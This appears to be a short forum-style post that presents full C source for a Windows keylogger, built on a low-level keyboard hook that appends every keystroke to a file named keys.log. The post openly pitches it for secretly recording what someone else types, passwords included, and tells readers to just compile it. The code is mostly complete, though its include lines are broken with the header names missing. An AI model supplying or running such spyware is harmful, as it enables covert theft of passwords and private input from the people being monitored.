keylogger

keylogger?
it’s a program that logs everything that you type on the keyboard.

What are it’s usages to me?
Well, if you want to record everything someone types then you can then see anything you want like passwords and such.

CODE

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include
#include
#include
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is “exported” from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode, // The hook code
WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
LPARAM lParam // A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) || // Only react if either a system key …
(wParam == WM_KEYDOWN))) // … or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName[i] = ']';
// Print this name to the standard console output device.
FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}
// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task …
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
// Everything failed, we can't install the hook … this
// never happened, but error handling is important.
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx ( // install the hook:
WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent, // with the KeyEvent function from this executable
hExe, // and the module handle to our own executable
NULL // and finally, the hook should monitor all threads.
);
// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}

Just compile this program i any C Compiler.

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